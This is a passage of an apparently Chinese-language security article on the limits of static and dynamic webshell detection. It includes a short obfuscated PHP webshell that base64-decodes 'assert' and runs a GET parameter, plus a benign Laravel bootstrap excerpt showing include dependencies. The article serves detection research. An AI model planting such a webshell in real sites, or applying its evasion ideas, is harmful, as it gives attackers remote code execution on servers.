100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="text-decoration: underline;outline: 0px;max-width: 100%;line-height: 17.7333px;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">算法二分类检测难以识别混淆对抗</span></strong></span></p></li></ul><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">脚本语言具有较强的灵活性，可以进行编码、加壳等混淆代码操作，躲避正则表达式的检测，从而形成漏报。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;border-width: initial;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;?php</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">function test(){</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">         $a = base64_decode(&#34;YXNzZXJ0&#34;);</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">         $b = &#34;$_GET[1]&#34;;</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">         $a($b);</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">}</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">test();</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">?&gt;</span></span></code></pre></section><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;border-width: initial;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">对于上述的Webshell代码，<span style="font-family: 仿宋;outline: 0px;max-width: 100%;color: rgb(18, 18, 18);">除了写正则表达式检测外，不考虑语义信息，最简单的办法就是用分割符分词，产生词向量。交给算法(机器学习、深度学习)，利用大量黑白样本去数据拟合，从而达到检测的目的。</span></span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;color: rgb(18, 18, 18);font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;color: rgb(18, 18, 18);font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">这种方案存在明显不足，对于0day样本(从未在测试集内出现)的场景，无法检出。而攻防本身就对抗激烈，攻击者会事先构造高对抗的Webshell样本，尝试绕过检测引擎。</span></p><h3 style="margin-top: 5px;margin-bottom: 5px;outline: 0px;font-size: 18px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">动态检测环境依赖度高</span></strong></span></h3><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">当对恶意文本的静态特征提取足够准确时，是较为容易检出的。但攻击者通常会采用代码混淆(加壳、编码、加密)阻碍提取特征，所以就需要动态运行跑出所有的特征，从而进行检测。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">动态检测算法技术难度高，可以实现更高级复杂的检测技术，同时因真实执行，恶意代码符合语法、词法约束，不强制干预情况下误报极低。然而，由于真实执行需要对整个运行环境进行仿真和定制设计，存在成本高、检测效率低、兼容性差的问题。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: 仿宋;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">以PHP为例，将<strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">phpinfo();</strong>代码进行编码并加壳混淆。</span></p><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.22569444444444445" data-s="300,640" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" data-type="png" data-w="864" src="https://wechat2rss.xlab.app/img-proxy/?k=b66d2a07&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtCS9QJPdcGfiaQNdBIyJMTMRyENZXC5ibtKp3XBO80cZWibKBvTs0l8nZLicv66B9MibV9cQXcHBu9O536yDU7sMYaw%2F640%3Fwx_fmt%3Dpng"/></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">可以看到混淆成这样，静态检测是很难写规则的，如只针对特定的函数调用进行匹配，那么就会产生误报。所以需要动态执行，将隐藏的特征暴露出来，从而达到检测的目标。<span style="outline: 0px;max-width: 100%;color: rgb(18, 18, 18);">通过PHP VLD插件可以拿到PHP生成的OPCODE以及动态运行下的OPCODE调用。</span><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></p><p style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="0.3368055555555556" data-s="300,640" style="outline: 0px;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;" data-type="png" data-w="864" src="https://wechat2rss.xlab.app/img-proxy/?k=b2becc2a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtCS9QJPdcGfiaQNdBIyJMTMRyENZXC5ibtwlQdMXib19yY317micm9qaY2RQTAByjqVRNZHPibdxCiaXKTgF1XibHiaicmQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">可以看到该样本实际调用了phpinfo，通过动态运行，可以更加精准的检测样本。但不加干扰的动态执行，会遇到各种对抗的挑战。不难理解，攻击者通过构造各种条件，让动态沙箱无法将样本正常运行下去，从而躲避检测。<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></p><ul class="list-paddingleft-2" style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><li style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 16px;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="text-decoration: underline;outline: 0px;max-width: 100%;line-height: 17.7333px;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">困境1:缺乏依赖无法运行</span></strong></span></p></li></ul><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;color: rgb(0, 0, 0);text-align: start;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 16px;outline: 0px;max-width: 100%;font-family: 仿宋;box-sizing: border-box !important;overflow-wrap: break-word !important;">PHP、JSP等脚本语言可以通过include语法，引入库函数至当前作用域进行调用。动态沙箱只能拿到当前页面的代码进行运行，从而缺乏依赖，无法正常运行。</span></p><p style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-size: 16px;font-family: 宋体;border-width: initial;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">&lt;?php</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">/**</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> * Laravel - A PHP Framework For Web Artisans</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> *</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> * @package  Laravel</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> * @author   Taylor Otwell &lt;taylor@laravel.com&gt;</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;"> */</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">define(&#39;LARAVEL_START&#39;, microtime(true));</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">/*</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">|--------------------------------------------------------------------------</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">| Register The Auto Loader</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">|--------------------------------------------------------------------------</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">|</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">| Composer provides a convenient, automatically generated class loader for</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">| our application. We just need to utilize it! We&#39;ll simply require it</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">| into the script here so that we don&#39;t have to worry about manual</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">| loading any of our classes later on. It feels great to relax.</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">|</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">*/</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">require __DIR__.&#39;/../vendor/autoload.php&#39;;</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">/*</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">|--------------------------------------------------------------------------</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">| Turn On The Lights</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">|--------------------------------------------------------------------------</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">|</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">| We need to illuminate PHP development, so let us turn on the lights.</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">| This bootstraps the framework and gets it ready for use, then it</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">| will load up this application so that we can run it and send</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">| the responses back to the browser and delight our users.</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">|</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">*/</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">$app = require_once __DIR__.&#39;/../bootstrap/app.php&#39;;</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><br/></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">/*</span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer"><span style="outline: 0px;max-width: 1000%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word 